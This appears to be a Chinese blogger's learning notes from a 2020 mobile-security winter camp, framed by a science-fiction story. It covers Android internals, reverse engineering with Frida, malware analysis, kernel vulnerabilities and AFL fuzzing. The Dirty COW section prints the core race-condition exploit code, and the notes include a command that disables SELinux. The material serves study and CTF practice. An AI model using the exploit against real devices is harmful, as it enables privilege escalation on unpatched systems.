银河系猎户座旋臂,奥尔特星云旁,一艘飞行器以光速掠过。"藏好自己,做好清理"是歌者的工作信条,歌者本是一名卑微的清洁工,只因工作时喜欢哼歌而被戏称为歌者。歌者只是一时打了几秒瞌睡,记录仪一时警报急促,歌者下意识低头检查。那是奥尔特星云里名为太阳系中一固态行星上发生的生命微动。以这一固态行星为参考系相对于光速飞行器,其上已度过数年。本应随手清理,但出于无聊,它开始检查这段时间缝隙中所发生的事情:

2020年xman冬令营-哈尔滨营,以“移动安全”为主题,内容主要为移动应用安全渗透测试,移动应用程序逆向,移动恶意应用分析,Android内核漏洞分析,物联网Iot设备漏洞挖掘。
概述、该文档仅作为学习笔记。

  • 第一天梆梆安全张宁老师,以安卓逆向基础为主,内容从安卓系统架构与运行机制到安卓逆向常用工具与hook技术、以及安卓四大组件相关安全问题。
  • 第二天腾讯玄武实验室m4bln老师,以安卓逆向为主,讲解了逆向流程,安卓端的逆向特点,以及反调试、代码混淆等知识。
  • 第三天安天的*老师,介绍了实战中移动端安全,从地下产业到移动端APT对抗,更高级的apk分析手段、方法,以及现安全公司所面临难题,对机器学习应用与移动端安全领域做了简单的概述。
  • 第四天复旦白泽dotsu师傅分享了CTF中的安卓相关问题。
  • 第五天华为的海归博士、木子李大师傅给大家分享了分布式网络以及华为分布式终端相关知识、介绍了基于短距通信的漏洞挖掘基础知识,内容包括Wifi、Bluetooth、等基础知识、介绍性分析了终端的网络攻击面。着重讲解了俗称p2p网络wifi-direct协议。
  • 第六天腾讯玄武实验室刘慧明老师、针对更高级的知识—-安卓内核漏洞挖掘做了讲解,介绍安卓内核linux内核基础知识、开源协议等,针对安卓内核攻击面以及利用整体思路进行了简单介绍。重点讲解dirty cow漏洞原理、cve-2019-2215内核漏洞,着重介绍了fuzz技术,内核fuzz工具AFL、Syzkaller。
  • 第七天结营赛、歌者文明投下了二向箔,告辞。

整理一份ppt以及相关资料(哈工大营):链接:https://pan.baidu.com/s/1b0AfIwxdjDn7aSzgFkNPQQ 提取码:d4lh

第一天 01月13日

Android系统架构与运行机制

五层架构

安卓系统架构

  • 应用层 Apps
  • APIJava API Framework
    • Content Provider:内容提供其
    • View System:视图系统,构建应用基本组件
    • Activity:活动管理
    • Location:位置管理
    • Package:包管理
    • Notification:通知管理
    • Telephony:电话管理
    • Window:窗口管理
    • Resource:资源管理
  • 系统运行库 Native C/C++ Librares
    • C/C++程序库
    • Android运行时库:核心库、ART
    • JVMjava虚拟机,基于栈,执行.classjar文件。其没有共享机制,使用JIT编译器。
    • DVM是基于寄存器的虚拟机,执行dex文件。允许在有限的内存中同时运行多个进程。由Zygote创建和初始化。具有共享机制,使用JIT编译器。
    • ART(Android 6.0加入)系统性能显著提升,启动更快运行更快,体验流畅,触感反馈即时。更长的电池续航,支持更低的硬件。在apk安装时使用预编译技术。
  • 硬件抽象层 Hardware Abstraction Layer (HAL)
    • 位于操作系统内核与硬件电路之间的接口层,其目的在于将硬件抽象化。这类似于计算机网络链路层,将下面硬件封装起来。
  • Linux内核层 Linux Kernel

总结一下如下图所示:

运行机制

可以将其简化为三步:Init启动 —–> Zygote进程启动 ——->Systemserver进程启动

首先是Init进程启动:下图为按下电源键后的启动过程,Android设备启动要经过3个阶段,BootLoaderLinux KernelAndroid系统服务,一般情况下,他们都会相应的启动对动画对应。:

严格上讲,Android系统实际上是运行于Linux内核之上的一系列"服务进程",并不算一个完成意义上的"操作系统";而这一系列进程是维持Android设备正常工作的关键,所以它们肯定有一个"根进程",这个"根进程"衍生出了这一系列进程。这个"根进程"就是init进程。init进程是Android系统启动的第一个进程。它通过解析init.rc脚本来构建出系统的初始形态。其他的"一系列"Android系统进程大部分也是通过"init.rc"来启动的。因为要兼容不同的开发商,所以init.rc脚本的语法很简单,并且采用的是纯文本编辑的,这样导致它可读性就会很高。

initLinux系统中用户空间的第一个进程(pid=1),Linux Kernel启动后,会调用/system/core/init/Init.cppmain()方法。

Zygote进程启动:

Android应用渗透测试与调试

所需工具:

  • Android Debug Bridge (ADB),它是Android开发/测试人员不可替代的强大工具。
  • Apktool,又名“Android的Burp套件”,是用于Android攻击的必备工具。可以解压反编译apk文件,并修改后重新打包。
  • Android Studio,用于Android开发的标准环境,可以用它来修改程序。
  • BurpSuite,可以用作代理来检查往返于测试设备的流量。
  • Firda,可以将自己的脚本注入到应用程序的运行进程中。可以用于检查被调用的功能,应用程序的网络连接以及绕过证书固定。
  • Jadx,反编译工具。

文件格式

安装包签名效验

在消息通信时,必须至少解决两个问题:一是确保消息来源的真实性,二是确保消息不会被第三方篡改。在安装Apk时,同样需要确保Apk来源的真实性,以及Apk没有被第三方篡改。如何解决这两个问题呢?方法就是开发者对Apk进行签名:在Apk中写入一个“指纹”。指纹写入以后,Apk中有任何修改,都会导致这个指纹无效,Android系统在安装Apk进行签名校验时就会不通过,从而保证了安全性。

要了解如何实现签名,需要了解两个基本概念:数字摘要和数字证书。

  • 数字摘要,将任意长度的消息变成固定长度的短消息,它类似于一个自变量是消息的函数,也就是Hash函数。数字摘要就是采用单向Hash函数将需要加密的明文“摘要”成一串固定长度的密文,这一串密文又称为数字指纹,它有固定的长度,而且不同的明文摘要成密文,其结果总是不同的,而同样的明文其摘要必定一致。

如何效验:

  • 数字证书,接收方必须要知道发送方的公钥和所使用的算法。如果数字签名和公钥一起被篡改,接收方无法得知,还是会校验通过。如何保证公钥的可靠性呢?答案是数字证书,数字证书是身份认证机构(Certificate Authority)颁发的,包含了以下信息:证书颁发机构、证书颁发机构签名、证书绑定的服务器域名、证书版本、有效期、签名使用的加密算法(非对称算法,如RSA)、公钥。

完整的效验过程:

Android提供了两种对Apk的签名方式,一种是基于JAR的签名方式,另一种是基于Apk的签名方式,它们的主要区别在于使用的签名文件不一样:jarsigner使用keystore文件进行签名;apksigner除了支持使用keystore文件进行签名外,还支持直接指定pem证书文件和私钥进行签名。

相关签名命令:

jarsigner -verify apkpath

jarsigner --verbose -certs apkpath

keytool -list -v -keystore keystore_file -storepass pwd

keytool -printcert -jarfile apk

smali代码

对象Lpackage/name/ObjectName;的形式表示。前面的L表示这是一个对象类型,package/name/是该对象所在的包,ObjectName是对象的名字,;表示对象名称的结束。相当于java中的package.name.ObjectName

例如:Ljava/lang/String;相当于java.lang.String

数组的表示形式

[I,表示一个整型一维数组,相当于java中的int[]。对于多维数组,只要增加[就行了。[[I相当于int[][][[[I相当于int[][][]

对象数组的表示

[Ljava/lang/String;表示一个String对象数组。

方法通常必须详细的指定方法类型(?the type that contains the method) 方法名,参数类型,返回类型,所有这些信息都是为虚拟机是能够找到正确的方法并执行。

方法表示形式:Lpackage/name/ObjectName;->MethodName(III)Z

在上面的例子中,Lpackage/name/ObjectName;表示类型,MethodName是方法名。III为参数(在此是3个整型参数),Z是返回类型(boolean)。

方法的参数是一个接一个的,中间没有隔开。

一个更复杂的例子:method(I[[IILjava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;

在java中则为:String method(int, int[][], int, String, Object[])

组件安全

  • Activity
    • Android系统组件在制定Intent过滤器(intent-filter)后,默认是可以被外部程序访问的。这就很意味着很容易被其他程序进行串谋攻击,要防止Activity被外部使用,Android所有组件声明时可以通过指定android:exported属性值为false,来设置组件不能被外部程序调用。这里的外部程序是指签名不同、用户ID不同的程序,签名相同且用户ID相同的程序在执行时共享同一个进程空间,彼此之间是没有组件访问限制的。如果希望Activity能够被特定的程序访问,就不能用android:exported属性了,可以使用android:permission属性来指定一个自定义权限字符串。

    • 关于自定义权限。参数介绍,name:权限名,protectionLevel:权限级别。权限级别介绍:

    • normal:正常权限,该权限并不会给用户或者设备的隐私带来风险,不声明默认为nomal
    • dangerous:危险权限,该级别的权限通常会给用户的数据或设备的隐私带来风险,Android6.0以上需要动态申请
    • signature:只有相同签名的应用才能使用该权限

    • Activity劫持,当用户安装了带有Activity劫持功能的恶意程序后,恶意程序会遍历系统中运行的程序,当检测到需要劫持的Activity(通常是网银或其他网络程序的等登陆界面)在前台运行时,恶意程序就会启动一个带FLAG_ACTIVITY_NEW_TASK标志的钓鱼式Activity覆盖正常的Activity,从而欺骗输入用户名或密码信息,当用户输入完信息后,程序就会将信息发送到指定的网址或邮箱,然后切换到正常的Activity中。这就是Activity劫持原理。从受影响的角度看,Activity属于用户层安全。
    • 串谋攻击,举例,app A本身无任何权限,它想要“联网并下载某个文件到sd卡上”,这在正常情况下是不允许的,app B拥有联网与写sd卡的权限,并实现了文件下载与保存功能。此时呢,A可以通过访问B来实现文件的下载,从而突破Android系统的权限控制。
  • Service
    • Service组件是Android系统中的后台进程,主要的功能是在后台进行一些耗时的操作。与其他的Android组件一样,当声明Service时指定了Intent过滤器,该Service默认就可以被外部访问。可以访问的方法有:

    startService():启动服务,可以被用来实现串谋攻击。

    bindService():绑定服务,可以被用来实现串谋攻击。

    stopService():停止服务,对程序功能进行恶意破坏。

    对于恶意的stopService,它破解程序的执行环境,直接影响到程序的正常运行。要想杜绝Service组件被人恶意的启动或者停止,就需要使用Android系统的权限机制来对调用者进行控制。如果Service组件不想被程序外的其他组件访问,可以直接设置它的android:exported属性为false,如果是同一作者的多个程序共享使用该服务,则可以使用自定义的权限。

WebView安全

  • WebView任意代码执行
  • WebView密码明文存储
  • WebView域控制不严格

敏感信息安全

  • 证书文件
  • 逻辑js文件
  • logcat日志
  • 图片文件
  • 其他文件
  • 进程安全,内存访问和修改,通过对客户端内存的访问,有可能会得到保存在内存中的敏感信息(如登录密码,账号等)。测试客户端内存中是否存在的敏感信息(卡号、明文密码等)。
  • 本地端口开放检测
  • 外部动态加载DEX安全风险检测

Android Studio调试Smali配置

我的Android Studio版本是:3.5.3,模拟器为Android 9.0

1、在Android Studio上安装smalidea插件,这个插件需要下载后安装,File->Setting->Plugins->install from disk

2、安装Apktool,按照官网教程即可。

3、使用Android Studioapktool反编译后文件夹作为项目导入,File -> New -> Import project

4、配置项目configuration

5、接下来配置SDK,File -> project structure -> sdk

6、从AVD manager启动模拟器,进入开发者选项,选择debug application,打开wait for debugger

7、开始debugger Attach:

进行调试:

Android模拟器使用burpsuite抓包

我使用的Android Studio带的官方模拟器,在电脑上开启burpsuite,打开options添加电脑在局域网中的ip,监听端口(任意指定)。打开启动的AVDsetting,其中有proxy设置,设置为对应的ip和端口即可。

这里手机上安装burp证书需要特别说明一下,需要把后缀.der修改为.cer

IDA pro调试.so库

1、将IDA安装目录下的dbgsrv复制到AVD中,adb shell启动运行。

2、adb forward tcp:23946 tcp:23946,进行端口转发,IDA随后remote attach进程,iplocalhost,端口23946

移动应用渗透测试框架使用

Xposed框架

frida 框架

Frida是一款基于python + javascripthook框架,适用于android/ios/linux/win/osx等平台。

安装:

电脑端:pip install frida-tools

Android端:从github release页面下载frida-server

$ adb root # might be required
$ adb push frida-server /data/local/tmp/ 
$ adb shell "chmod 755 /data/local/tmp/frida-server"
$ adb shell "/data/local/tmp/frida-server &"

特别的,如果华为手机出现:

selinux报错

需要:setenforce 0

至此安装完毕,这里练习一个Demo。以下是apk的源码:

public class MainActivity extends AppCompatActivity {
    private Button mBtnInvokeFunc;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        mBtnInvokeFunc = findViewById(R.id.btn_invoke_func);
        setOnClickListener();
    }

    private void setOnClickListener(){
        OnClick onClick = new OnClick();
        mBtnInvokeFunc.setOnClickListener(onClick);
    }

    private void hookFunction(){
        Log.d("hookFunction", "UnHooked.");
    }

    private class OnClick implements View.OnClickListener{
        @Override
        public void onClick(View v) {
            Intent intent;
            switch (v.getId()){
                case R.id.btn_invoke_func:
                    hookFunction();
                    break;
            }
        }
    }
}

这里需要hook的是MainActivity中的hookfunctionpython hook代码如下:

import frida
import sys


def on_message(message, data):
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))
    else:
        print(message)


device = frida.get_device("emulator-5554", timeout=5)
process = device.attach("top.handsome.toturial")
script = process.create_script(
    """
Java.perform(function () {
    var MainActivity = Java.use('top.handsome.toturial.MainActivity');
    var hookFunction = MainActivity.hookFunction;
    hookFunction.implementation = function () {
        console.log('Done: isHooked.');
    }
})
    """
)

script.on("message", on_message)
script.load()
sys.stdin.read()

第二天 01月14日

Why Android:APP-移动互联网的入口、安全研究的“交集”,Android的市场份额很大。

Android应用程序

APK文件格式

activity生命周期

逆向技术和方法

逆向流程

反编译阶段:

目标定位:

  • 关键字定位:常规的搜索、grep反编译后的静态代码、动态加载的代码、监控文件变化。
  • 资源定位:定位UI中的资源变量名,如按钮。res目录中寻找变量对应的索引值。在smali代码中grep所有对该索引的引用。
  • 日志定位:adb logcat | grepAPP目录下的日志文件、sdcard下的日志文件。打开APP内置的日志开关:重打包,hooksmali注入。
  • 调用栈跟踪:去hook系统函数打印callback

核心目标逆向:

  • 静态分析
    • 直接分析smali代码
    • 分析伪java代码
    • 直接分析arm指令
    • 分析伪c++代码
  • 动态调试
    • Android Studio无源码调试

    • IDA调试so

    • Hook技术

    • 注入到目标代码,改变执行结果。

    • 获取某一状态下的变量值。
    • hook的本质是代码注入
    • Xposed、Frida。

    使用Frida hook app:

    • 使用场景:root设备直接运行frida-server、非root设备重打包Frida-garget.so。
    • 两种模式:Attach已有进程上附加、Spawn新起一个进程。
  • 动静结合

  • 打造自己的逆向工具链

应用安全防护与对抗

代码混淆及对抗

利用反编译工具的bug或漏洞,AndroidManifest.xml,dex,so。转换成伪代码时的bug,Smali -> java,Arm指令 -> C++。链接资源文件时的bug,如特殊的资源文件,超长的资源id。

将代码变得难以阅读:1、变量名、类名、方法名混淆。2、字符串加密。3、控制流混淆,

代码混淆工具:Java代码:ProGuard、DexGuard。C++代码:OLLVM。

反调试技术及对抗

对抗代码混淆

  • 变量名、类名、方法名混淆
    • 变量重命名、jeb、重打包
    • 寻找老版本app
    • 根据开源代码映射
    • 自动化、自动化相似代码检测
  • 字符串加密
    • 静态分析替换
    • 动态hook
  • 控制流混淆
    • 优化反编译工具
    • 符号执行

加壳和脱壳

dex加固的流程:

题目&经验分享

geekpwn matryoshka

这个我在安卓模拟器中安装,apk install即可。随后逆向逻辑,看到只有MainAcitvity.getResult()返回“167042853"才可以,这里我直接使用frida hook getResult函数。

import frida
import sys


def on_message(message, data):
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))
    else:
        print(message)


device = frida.get_device("emulator-5554", timeout=5)
process = device.attach("com.geekpwn_ctf")
script = process.create_script(
    """
Java.perform(function () {
    var String = Java.use("java.lang.String");
    var MainActivity = Java.use('com.geekpwn_ctf.MainActivity');
    var getResult = MainActivity.getResult;
    getResult.implementation = function () {
        var ss = "167042853";
        console.log('Done: isHooked.');
        return String.$new(ss);
    }
})
    """
)

script.on("message", on_message)
script.load()
sys.stdin.read()

hook状态下点击pwn按钮获得:

但是这道题目答案在META-INF文件夹下,其下多一个CERT .SF文件,使用file判断它是一个zip文件,然后用m$W2h作为密码循环解压获得一张二维码,扫码,得到MD5串,查询得到答案。

第三天 01月15日

移动恶意代码分析

概述

各种数据展现了今天安卓平台上的安全威胁愈来愈多。

攻击手段的多样化,以及安卓端勒索病毒,恶意色情软件数量持续增长。

以及目前在资产方面的威胁,攻击方式多如下图所示:

以及短信方面的社会工程:

以及持续扩大的威胁攻击面,表现为地下社会工程数据库,原始的数据积累、完善的黑产分工协作体系。

病毒的命名体系:一般格式为、<病毒前缀>.<病毒名>.<病毒后缀>,如Worm.Sasser.b。

趋势:恶意代码规模持续稳定增长、恶意代码高度产业化、移动端成为APT新战场。

恶意代码分析

APK格式

又是老生常谈的apk文件格式,它是zip格式,编码为ULEB128。

静态分析

常用工具:Smaliviewer、APKTOOL/baksamli、Dex2jar/jd-gui、JEB、IDA、AndroidKiller、AndroidGuard、Virustotal。

反混淆:http://apk-deguard.com/

  • 快读定位法,敏感API查找。

  • 对比法,白应用比较。

  • 代码流程法、AndroidManifest.xml入手

  • 一个个类看

动态分析

工具:Andebug、IDA、smali hook、xposed/substrate/frida、wireshark/tcpdump/burpsuite/findler2。

感觉这多用的还是Hook技术。

分析系统

相关工具:DroidBox、AndroGuard、Inpseckage基于xposed、RMS(antiy)、cuckoo(https://cuckoosandbox.org)

方法一:模拟器

emulator -tcpdump x.pcap

方法二:tcpdump for ARM

http://www.strazzere.com/android/tcpdump、需要root权限。

方法三:

wifi + wireshark

恶意代码-在线系统

  • Vitrustotal https://www.virustotal.com/
  • Sandroid http://sanddroid.xjtu.edu.cn
  • Koodous https://koodous.com/
  • Janus https://www.appscan.io

更加注重分析工具、方法、手段等。以及工程化对抗,以及生态合作空间,和厂商对于反病毒的态度。

移动威胁情报

移动威胁对抗

对抗分析工具

Ptrace自身、https校验、检测父进程、伪/加密、Axml /资源文件对抗、自校验、畸形包、代码隐藏、加壳、混淆、加密、反射调用。

对抗用户感知

隐藏图标、透明图标、静默下载/安装、预装、植入知名应用、伪装系统应用、ISP劫持、邮件、社工。

反跟踪

利用短链接、域名隐私保护、伪基站、动态DNS、盗用他人信息、使用云服务
、入侵无关站点。

恶意代码层次利用

Application层

主要威胁:流氓推广,恶意预装、流氓广告、钓鱼应用、欺诈。

FrameWork层

主要威胁:隐私窃取、拦截广播、勒索、远控、漏洞利用。尤其是在Native层,对抗分析、隐藏自身。

Kernel层

主要威胁:系统破坏、提权

RottenSys

机器学习应用

一时半会儿学不会,就听一个概述。

  • 文件相似性检验

  • 聚类分析

  • 随机性识别

  • 色情应用识别

基于样本运营的互联网风控

不听老师说,真不知道互联网黑灰产市场规模这么大。

思考

以后自己可能也不会从事这一类分析工作,今天上课感觉了解到很多,算是一个简单的学习吧。

第四天 01月16日

CTF中的移动安全出题总体以安卓APP逆向居多,考察点多为逆向基本功。Pwn方向多为组件漏洞、WebView漏洞,Native漏洞利用。

(今天主要摸鱼、其实就是基础的CTF逆向。)

主要是摸鱼

第五天 01月17日

分布式网络&分布式协同

分布式网络概述

分布式网络是由不同地点的计算机系统连成的网络结构。

分布式系统是一个硬件或软件组件分布在不同的网络计算机上,彼此之间仅仅通过消息传递进行通信和协调的系统。

基于WIFI-Direct的漏洞挖掘

蓝牙漏洞学习

轰趴摸鱼

第六天 01月18日

安卓提权漏洞基础、原理、利用和发现方法简介。

动手:内核代码熟悉、编译。

安卓提权漏洞基础

Android NativeLib和Kernel简介和攻击面。Android完整系统源码c/c++相比java更多。

APP漏洞 vs 系统漏洞:影响设备、影响用户、查找难度、修补难度。

安卓底层安全架构简介

这里在第一天讲过,不在赘述。再补充一下开源代码所遵循的协议:

对于安卓开源问题,linux kernel使用GPL许可证。

硬件开发商不愿意将自己的代码公开,所以谷歌用了:HAL层。

  • 修改内核,增加一些HAL的接口,这些代码使用GPL协议,完全公开。
  • 增加HAL层,调用上一步定义好的内核接口。
  • 在HAL层中定义好上层调用所需的统一API。

Android底层安全框架及攻击缓释技术:

1、自主访问控制

  • 基于uid、gid。容易被突破,但总比没有强。

2、强制访问控制

  • SELinux,完善之后攻破非常困难,极大降低攻击后的危害。

3、验证启动模式(Verified Boot)

  • 通过硬件密钥,逐步验证整个系统。一旦出厂之后,不可修改。修改之后系统无法启动。(测试、解锁BootLoader后可以启动)。

4、代码签名和平台密钥

  • 无法刷入任何非签名镜像。System级别的签名验证。

Root相关基础知识:

原生代码库及其攻击面

内核攻击面

Android框架提权漏洞

  • 反序列化漏洞:7911

动手:内核代码熟悉、下载、和编译

竞争条件漏洞:脏牛(DirtyCow)

基础知识梳理:

  • 虚拟内存管理和写时复制(copy on write)、页式内存管理和缺页中断、linux内存虚拟文件系统(Proc)、竞争条件(Race condition)、相关函数。

漏洞分析:

  • 写时复制(copy on write)、竞争条件(Race condition)。

利用方式:

  • set-uid位、vdso绕过selinux
写时复制

写入时复制是一种计算机程序设计领域的优化策略。其核心思想是,如果有多个调用者同时请求相同资源,他们会共同获取相同的指针指向相同的资源,直到某个调用者试图修改资源的内容时,系统才会真正复制一份专用副本(private copy)给该调用者,而其他调用者所见到的最初的资源仍然保持不变。这个过程对其他的调用者是透明的(transparently)。此作法的主要优点是如果调用者没有修改该资源,就不会有副本(private copy)被建立,因此多个调用者只是读取操作是可以共享同一份资源。提高物理内存利用率:虚拟内存,物理内存,共享只读存储。提高fork等执行速度。

Pagecache:Mmap之后不去读写,不载入内存,如果读写,载入内存。

页式内存管理和缺页中断

Linux内存管理:换出暂时不用的内存到外存,用的时候再换回来。分页(4kb)管理。如果访问发现要用的不在内存中,进程访问出现缺页中断,之后内核负责将要用的页重新装入内存,如果内存已满,将暂时不用的其他页换出外存。这个过程由内核负责处理,用户进程无感知。

缺页中断
  • 硬件陷入内核,在堆栈中保存程序计数器。大多数机器将当前指令的各种状态信息保
    存在特殊的CPU寄存器中。
  • 启动一个汇编代码例程保存通用寄存器和其他易失的信息,以免被操作系统破坏。这
    个例程将操作系统作为一个函数来调用。
  • 当操作系统发现一个缺页中断时,尝试发现需要哪个虚拟页面。通常一个硬件寄存器
    包含了这一信息,如果没有的话,操作系统必须检索程序计数器,取出这条指令,用
    软件分析这条指令,看看它在缺页中断时正在做什么。
  • 一旦知道了发生缺页中断的虚拟地址,操作系统检查这个地址是否有效,并检查存取
    与保护是否一致。如果不一致,向进程发出一个信号或杀掉该进程。如果地址有效且
    没有保护错误发生,系统则检查是否有空闲页框。如果没有空闲页框,执行页面置换
    算法寻找一个页面来淘汰。
  • 如果选择的页框“脏”了,安排该页写回磁盘,并发生一次上下文切换,挂起产生缺
    页中断的进程,让其他进程运行直至磁盘传输结束。无论如何,该页框被标记为忙,
    以免因为其他原因而被其他进程占用。
  • 一旦页框“干净”后(无论是立刻还是在写回磁盘后),操作系统查找所需页面在磁
    盘上的地址,通过磁盘操作将其装入。该页面被装入后,产生缺页中断的进程仍然被
    挂起,并且如果有其他可运行的用户进程,则选择另一个用户进程运行。
  • 当磁盘中断发生时,表明该页已经被装入,页表已经更新可以反映它的位置,页框也
    被标记为正常状态。
  • 恢复发生缺页中断指令以前的状态,程序计数器重新指向这条指令。
  • 调度引发缺页中断的进程,操作系统返回调用它的汇编语言例程。
  • 该例程恢复寄存器和其他状态信息,返回到用户空间继续执行,就好像缺页中断没有
    发生过一样。

linux内存虚拟文件系统(Proc)

  • /proc/pid/cmdline 包含了用于开始进程的命令;
  • /proc/pid/cwd包含了当前进程工作目录的一个链接;
  • /proc/pid/environ 包含了可用进程环境变量的列表;
  • /proc/pid/exe 包含了正在进程中运行的程序链接;
  • /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
  • /proc/pid/stat包含了进程的状态信息;
  • /proc/pid/statm 包含了进程的内存使用信息
  • /proc/self/maps 进程虚拟内存中加载的文件和库等
  • /proc/self/mem这个文件是一个指向当前进程的虚拟内存文件的文件,当前进程可
    以通过对这个文件进行读写以直接读写虚拟内存空间
竞争条件漏洞

竞争条件是系统中的一种反常现象,由于现代Linux系统中大量使用并发编程,对资源进行共享,如果产生错误的访问模式,便可能产生内存泄露,系统崩溃,数据破坏,甚至安全问题。竞争条件漏洞就是多个进程访问同一资源时产生的时间或者序列的冲突,并利用这个冲突来对系统进行攻击。

相关函数

mmap(void* start, size_t length, int prot,int flags,int fd, off_t offset)

  • 将磁盘上的文件映射到虚拟内存中,对于这个函数唯一要说的就是当flagsMAP_PRIVATE被置为1时,对mmap得到内存映射进行的写操作会使内核触发COW操作,写的是COW后的内存,不会同步到磁盘的文件中。

madvice(caddr_t addr, size_t len, int advice)

  • 告诉内核内存addr~addr+len在接下来的使用状况,以便内核进行一些进一步的内存管理操作。当adviceMADV_DONTNEED时,此系统调用相当于通知内核addr~addr+len的内存在接下来不再使用,内核将释放掉这一块内存以节省空间,相应的页表项也会被置空。

ssize_t write(int fd, const void* buf, size_t count)

  • fd描述符所指向的文件写入最多count长度的buf中的内容。
漏洞利用

可以看到主要原因:

在write的过程中,包含两个non-atomic操作:1、locate the physical address2、and write to that address导致竞争条件的发生。下面来梳理一下利用流程:

1、打开一个只读文件,将它映射内存。

int f = open("readonly_file", O_RDONLY);
struct stat file_info;
fstat(f, &file_info);
map = mmap(NULL, file_info.st_size, PROT_READ, MAP_PRIVATE, f, 0);

2、尝试去写这个文件,这是触发copy on wirte机制,但是由于write那两个非原子操作,所以其他进程可以驳入执行代码。试想:

尝试向文件写内容,此时状态如下图:

由于触发了copy on write机制,状态发生变化:

此时攻击者利用条件竞争驳入代码,将private_mapping of root_file除去,状态发生变化:

再次回到write进程时,kernel已经指向原root_file,目的达成:

所以需要两个进程,一个尝试去写,一个尝试去释放:

void *write_to_mapping (void *arg) {
    // Write to mapping through '/proc/self/mem'.
    int i;
    for (i = 0; i < 10000; i++) {
        int f = open("/proc/self/mem", O_RDWR);
        lseek(f, (uintptr_t)map, SEEK_SET);
        write(f, to_be_written, strlen(to_be_written));
    }
}


void* drop_mapping (void *arg) {
    // (m)advise kernel to drop mapping.
    int i;
    for (i = 0; i < 10000; i++)
        madvise(map, 100, MADV_DONTNEED);
}

pthread_t thread_1, thread_2;
pthread_create(&thread_1, NULL, write_to_mapping, NULL);
pthread_create(&thread_2, NULL, drop_mapping, NULL);
pthread_join(thread_1, NULL);
pthread_join(thread_2, NULL);

UAF:CVE-2019-2215

1、找到漏洞描述。

2、找到对应的内核代码。

3、找到对应的POC和EXP。

4、研究漏洞利用方式。

CVE-2019-2215Google公司Project Zero小组发现,并被该公司的威胁分析小组(TAG)确认其已用于实际攻击中。TAG表示该漏洞利用可能跟一家出售漏洞和利用工具的以色列公司NSO有关,随后NSO集团发言人公开否认与该漏洞存在任何关系。该漏洞实质是内核代码一处UAF漏洞,成功利用可以造成本地权限提升,并有可能完全控制用户设备。但要成功利用该漏洞,需要满足某些特定条件。

Android Binder简介:

IPCInter-process communication的缩写,即进程间通信。IPC是一种允许进程间互相通信交换数据的机制。在Linux平台上,进程之间是隔离的,各个进程运行在自己的虚拟地址空间中,如果不采取IPC手段,进程之间是不能互相交换数据的。为了实现进程之间的数据交换,Linux提供了多种IPC机制:

  • 信号、管道、Socket、消息队列、信号量、共享内存

Android是基于Linux系统开发,除了上面的IPC机制以外,Android又提供了一种新的选择:binder。站在系统角度来看,binder的实现包括:

  • 一个Client进程、一个Service进程、Binder驱动。

Binder Driver位于内核态,所有进程都可以访问,下图为Binder架构:

vectored I/O基础:In computing, vectored I/O, also known as scatter/gather I/O, is a method of input and output by which a single procedure call sequentially reads data from multiple buffers and writes it to a single data stream, or reads data from a data stream and writes it to multiple buffers, as defined in a vector of buffers.

漏洞 – binder_loctl

在binder_free_thread函数中,可以触发UAF。

TO-DO、挖坑。

常用Fuzz技术

AFL

暴力fuzzer,安全研究者和爱好者利用它已经有了非常多的产出。

特点:instrumentation-guided、genetic-algorithm、edge coverage to guide fuzzing。

AFL执行流程:

  • load user-supplied initial test cases into the queue.
  • Take next input file from the queue.
  • Attempt to trim the test case to the smallest size that doesn’t alter the measure behavior of the program.
  • Repeatedly mutate the file using a balanced and well-researched variety of traditional fuzzing strategies.
  • If any of the generated mutations resulted in a new state transition recoreded by the instrumentation, add mutated output as a new entry in the queue.
  • go to 2.

Fuzzing技术是当前最为强大而有效的漏洞挖掘技术,大多的远程代码执行以及权限提升等较为严重的漏洞都是通过Fuzzing而产出的。AFL(American Fuzzy Lop)被称为目前最高级的Fuzzing测试工具之一,可以有效地对二进制程序进行fuzz,开启相应功能可更深入的根据需求挖掘相关漏洞,如栈溢出、堆溢出、UAF等。

AFL有两种fuzz途径:

  • 开源软件:AFL软件进行编译的同时进行插桩,以方便fuzz
  1. 闭源软件:配合QEMU直接对闭源的二进制代码进行fuzz

插桩:在AFL编译文件时候afl-gcc会在规定位置插入桩代码,可以理解为一个个的小断点(但是没有暂停功能),在后续fuzz的过程中会根据这些桩代码进行路径探索,测试等。使得测试覆盖面更广,更全面。另外,在每个分支插入桩代码的同时,afl-as会生成一个随机数作为标识这个代码块的key,运行时便可以利用这些生成的随机数来识别相应代码块。

AFL主要是由三部分组成:

  • 第一部分:编译器wrapper:他的功能在于对目标软件(开源)进行编译,编译过程中插入一些AFL识别的函数用以识别探索路径,众所周知的linux下的C/C++编译工具gcc/g++afl的编译工具为afl-gcc/afl-g++,afl-clang等。
  • 第二部分:测试器fuzzer:afl-fuzz,就是AFL重要的主体,用以对软件进行fuzzing。
  • 第三部分:如afl-cmin,afl-tmin,都是为提升测试的效率和成功率而服务的。

安装:

wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz

tar -zxvf afl-2.52b.tgz
cd afl-2.52b
make
sudo  make install

ASAN(Address Sanitizer)linux下的内存检测工具,早先是LLVM中的特性,后来被加入GCC 4.9,现被clanggcc支持,用于运行的时候对内存进行检测,以达到发现内存漏洞的效果。

在开启ASAN后。afl插桩则会在目标代码的关键位置添加检查代码,例如:malloc(),free()等,一旦发现了内存访问错误,便可以SIGABRT中止程序。

需要注意的是:

  • 1、例如越界读等内存访问错误不一定会造成程序的崩溃,所以在没有开启ASAN的情况下,许多内存漏洞都无法被AFL给发现。所以在编译二进制代码的时候,强烈建议开启ASAN。
  • 2、ASAN开启后的fuzzing会消耗更多的内存,这是需要注意的因素,对于32位的程序,基本上800MB即可;但64为程序大概需要20TB,所以,使用ASAN的话,建议添加CFLAGS=-m32来限制编译目标为32位,否则,可能应为64位消耗内存过多而造成程序崩溃。
  • 3、 在使用了ASAN之后,可以再alf-fuzz的时候通过选项-m来指定使用的内存上限。启用了ASAN的32位程序,一般设置-m 1024即可。

Syzkaller

TO-DO、挖坑。

第九天,结营赛还未进行、而歌者在飞船上检查完这些,深深地感受到来自这个文明的极大威胁,便匆匆随手扔下一片二向箔,掠过奥尔特星云离去。